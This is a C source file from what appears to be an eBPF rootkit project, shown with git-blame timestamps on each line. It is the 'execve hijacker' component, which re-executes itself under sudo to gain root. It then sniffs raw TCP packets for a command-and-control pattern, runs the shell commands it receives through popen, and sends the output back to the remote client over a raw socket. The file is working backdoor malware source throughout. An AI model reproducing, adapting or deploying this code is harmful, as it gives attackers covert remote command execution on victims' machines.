2022-02-05 19:00:25 -05:00
|
|
|
#include <stdio.h>
|
2022-02-06 14:15:57 -05:00
|
|
|
#include <stdlib.h>
|
|
|
|
|
#include <sys/types.h>
|
|
|
|
|
#include <sys/stat.h>
|
|
|
|
|
#include <fcntl.h>
|
|
|
|
|
#include <unistd.h>
|
2022-02-14 17:45:07 -05:00
|
|
|
#include <time.h>
|
2022-02-14 20:08:30 -05:00
|
|
|
#include <sys/wait.h>
|
|
|
|
|
#include <bpf/bpf.h>
|
|
|
|
|
#include <bpf/libbpf.h>
|
2022-02-18 03:32:07 -05:00
|
|
|
#include <sys/socket.h>
|
|
|
|
|
#include <netinet/in.h>
|
|
|
|
|
#include <arpa/inet.h>
|
|
|
|
|
#include <sys/socket.h>
|
|
|
|
|
#include <netdb.h>
|
|
|
|
|
#include <netinet/ip.h>
|
|
|
|
|
#include <netinet/tcp.h>
|
2022-03-02 19:00:50 -05:00
|
|
|
#include <dlfcn.h>
|
2022-03-15 18:36:59 -04:00
|
|
|
#include <sys/timerfd.h>
|
2022-02-05 19:00:25 -05:00
|
|
|
|
2022-02-17 06:21:09 -05:00
|
|
|
#include "lib/RawTCP.h"
|
2022-02-18 03:32:07 -05:00
|
|
|
#include "../common/c&c.h"
|
|
|
|
|
|
2022-02-18 04:06:18 -05:00
|
|
|
|
2022-03-15 18:36:59 -04:00
|
|
|
int test_time_values_injection(){
|
|
|
|
|
|
|
|
|
|
struct itimerspec new_value;
|
|
|
|
|
int max_exp, fd;
|
|
|
|
|
struct timespec now;
|
|
|
|
|
uint64_t exp, tot_exp;
|
|
|
|
|
ssize_t s;
|
2022-03-17 13:18:19 -04:00
|
|
|
|
|
|
|
|
|
2022-03-15 18:36:59 -04:00
|
|
|
fd = timerfd_create(CLOCK_REALTIME, 0);
|
|
|
|
|
if (fd == -1)
|
|
|
|
|
return -1;
|
|
|
|
|
|
|
|
|
|
new_value.it_interval.tv_sec = 30;
|
|
|
|
|
new_value.it_interval.tv_nsec = 0;
|
|
|
|
|
|
|
|
|
|
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1)
|
|
|
|
|
return -1;
|
2022-03-17 13:18:19 -04:00
|
|
|
|
2022-03-15 18:36:59 -04:00
|
|
|
|
|
|
|
|
printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);
|
|
|
|
|
|
|
|
|
|
return 0;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
2022-02-18 04:06:18 -05:00
|
|
|
char* execute_command(char* command){
|
2022-03-02 19:00:50 -05:00
|
|
|
|
2022-02-18 04:06:18 -05:00
|
|
|
FILE *fp;
|
|
|
|
|
char* res = calloc(4096, sizeof(char));
|
|
|
|
|
char buf[1024];
|
|
|
|
|
|
|
|
|
|
fp = popen(command, "r");
|
|
|
|
|
if(fp == NULL) {
|
|
|
|
|
printf("Failed to run command\n" );
|
|
|
|
|
return "COMMAND ERROR";
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
while(fgets(buf, sizeof(buf), fp) != NULL) {
|
|
|
|
|
strcat(res, buf);
|
|
|
|
|
}
|
|
|
|
|
printf("RESULT OF COMMAND: %s\n", res);
|
|
|
|
|
|
|
|
|
|
pclose(fp);
|
|
|
|
|
return res;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
2022-02-18 03:32:07 -05:00
|
|
|
char* getLocalIpAddress(){
|
|
|
|
|
char hostbuffer[256];
|
|
|
|
|
char* IPbuffer = calloc(256, sizeof(char));
|
|
|
|
|
struct hostent *host_entry;
|
|
|
|
|
int hostname;
|
|
|
|
|
|
|
|
|
|
hostname = gethostname(hostbuffer, sizeof(hostbuffer));
|
|
|
|
|
if(hostname==-1){
|
|
|
|
|
exit(1);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
host_entry = gethostbyname(hostbuffer);
|
|
|
|
|
if(host_entry == NULL){
|
|
|
|
|
exit(1);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// To convert an Internet network
|
|
|
|
|
// address into ASCII string
|
|
|
|
|
strcpy(IPbuffer,inet_ntoa(*((struct in_addr*) host_entry->h_addr_list[0])));
|
|
|
|
|
|
|
|
|
|
return IPbuffer;
|
|
|
|
|
}
|
2022-02-17 06:21:09 -05:00
|
|
|
|
2022-02-19 11:57:32 -05:00
|
|
|
int main(int argc, char* argv[], char *envp[]){
|
2022-02-05 19:00:25 -05:00
|
|
|
printf("Hello world from execve hijacker\n");
|
2022-02-19 11:57:32 -05:00
|
|
|
for(int ii=0; ii<argc; ii++){
|
|
|
|
|
printf("Argument %i is %s\n", ii, argv[ii]);
|
|
|
|
|
}
|
2022-03-03 05:53:51 -05:00
|
|
|
|
2022-03-15 18:36:59 -04:00
|
|
|
test_time_values_injection();
|
|
|
|
|
|
2022-02-14 17:45:07 -05:00
|
|
|
time_t rawtime;
|
|
|
|
|
struct tm * timeinfo;
|
|
|
|
|
|
|
|
|
|
time ( &rawtime );
|
|
|
|
|
timeinfo = localtime ( &rawtime );
|
|
|
|
|
char* timestr = asctime(timeinfo);
|
|
|
|
|
|
2022-02-24 19:53:11 -05:00
|
|
|
|
|
|
|
|
if(geteuid() != 0){
|
|
|
|
|
//We do not have privileges, but we do want them. Let's rerun the program now.
|
|
|
|
|
char* args[argc+1];
|
|
|
|
|
args[0] = argv[0];
|
|
|
|
|
for(int ii=0; ii<argc; ii++){
|
|
|
|
|
args[ii+1] = argv[ii];
|
|
|
|
|
}
|
|
|
|
|
if(execve("/usr/bin/sudo", args, envp)<0){
|
|
|
|
|
perror("Failed to execve()");
|
|
|
|
|
exit(-1);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
2022-02-14 20:08:30 -05:00
|
|
|
//We proceed to fork() and exec the original program, whilst also executing the one we
|
|
|
|
|
//ordered to execute via the network backdoor
|
|
|
|
|
//int bpf_map_fd = bpf_map_get_fd_by_id()
|
|
|
|
|
|
2022-02-24 19:53:11 -05:00
|
|
|
int fd = open("/tmp/rootlog", O_RDWR | O_CREAT | O_TRUNC, 0666);
|
|
|
|
|
if(fd<0){
|
|
|
|
|
perror("Failed to open log file");
|
|
|
|
|
//return -1;
|
|
|
|
|
}
|
|
|
|
|
|
2022-02-06 14:15:57 -05:00
|
|
|
int ii = 0;
|
2022-02-14 17:45:07 -05:00
|
|
|
while(*(timestr+ii)!='\0'){
|
|
|
|
|
write(fd, timestr+ii, 1);
|
|
|
|
|
ii++;
|
|
|
|
|
}
|
|
|
|
|
write(fd, "\t", 1);
|
|
|
|
|
|
|
|
|
|
ii = 0;
|
2022-02-06 14:15:57 -05:00
|
|
|
while(*(argv[0]+ii)!='\0'){
|
|
|
|
|
write(fd, argv[0]+ii, 1);
|
|
|
|
|
ii++;
|
|
|
|
|
}
|
|
|
|
|
|
2022-02-14 17:45:07 -05:00
|
|
|
write(fd, "\n", 1);
|
2022-02-20 16:50:15 -05:00
|
|
|
write(fd, "Sniffing...\n", 13);
|
2022-02-18 09:08:54 -05:00
|
|
|
|
2022-02-18 03:32:07 -05:00
|
|
|
|
|
|
|
|
packet_t packet = rawsocket_sniff_pattern(CC_PROT_SYN);
|
2022-02-18 09:08:54 -05:00
|
|
|
if(packet.ipheader == NULL){
|
|
|
|
|
write(fd, "Failed to open rawsocket\n", 1);
|
|
|
|
|
return -1;
|
|
|
|
|
}
|
|
|
|
|
write(fd, "Sniffed\n", 9);
|
2022-02-18 03:32:07 -05:00
|
|
|
//TODO GET THE IP FROM THE BACKDOOR CLIENT
|
|
|
|
|
char* local_ip = getLocalIpAddress();
|
|
|
|
|
char remote_ip[16];
|
|
|
|
|
inet_ntop(AF_INET, &(packet.ipheader->saddr), remote_ip, 16);
|
|
|
|
|
printf("IP: %s\n", local_ip);
|
|
|
|
|
|
|
|
|
|
packet_t packet_ack = build_standard_packet(8000, 9000, local_ip, remote_ip, 4096, CC_PROT_ACK);
|
|
|
|
|
if(rawsocket_send(packet_ack)<0){
|
2022-02-18 09:08:54 -05:00
|
|
|
write(fd, "Failed to open rawsocket\n", 1);
|
|
|
|
|
close(fd);
|
2022-02-18 03:32:07 -05:00
|
|
|
return -1;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
//Start of pseudo connection with the rootkit client
|
|
|
|
|
int connection_close = 0;
|
|
|
|
|
while(!connection_close){
|
|
|
|
|
packet_t packet = rawsocket_sniff_pattern(CC_PROT_MSG);
|
|
|
|
|
printf("Received client message\n");
|
|
|
|
|
char* payload = packet.payload;
|
|
|
|
|
char *p;
|
|
|
|
|
p = strtok(payload, "#");
|
|
|
|
|
p = strtok(NULL, "#");
|
|
|
|
|
if(p){
|
|
|
|
|
if(strcmp(p, CC_PROT_FIN_PART)==0){
|
|
|
|
|
printf("Connection closed by request\n");
|
|
|
|
|
connection_close = 1;
|
|
|
|
|
}else{
|
|
|
|
|
printf("Received request: %s\n", p);
|
2022-02-18 04:06:18 -05:00
|
|
|
char* res = execute_command(p);
|
|
|
|
|
char* payload_buf = calloc(4096, sizeof(char));
|
2022-02-20 16:50:15 -05:00
|
|
|
strcpy(payload_buf, CC_PROT_MSG);
|
2022-02-18 04:06:18 -05:00
|
|
|
strcat(payload_buf, res);
|
|
|
|
|
packet_t packet_res = build_standard_packet(8000, 9000, local_ip, remote_ip, 4096, payload_buf);
|
2022-02-18 03:32:07 -05:00
|
|
|
if(rawsocket_send(packet_res)<0){
|
2022-02-18 09:08:54 -05:00
|
|
|
write(fd, "Failed to open rawsocket\n", 1);
|
|
|
|
|
close(fd);
|
2022-02-18 03:32:07 -05:00
|
|
|
return -1;
|
|
|
|
|
}
|
2022-02-18 04:06:18 -05:00
|
|
|
free(payload_buf);
|
|
|
|
|
free(res);
|
2022-02-18 03:32:07 -05:00
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2022-02-18 09:08:54 -05:00
|
|
|
close(fd);
|
2022-02-05 19:00:25 -05:00
|
|
|
return 0;
|
|
|
|
|
}
|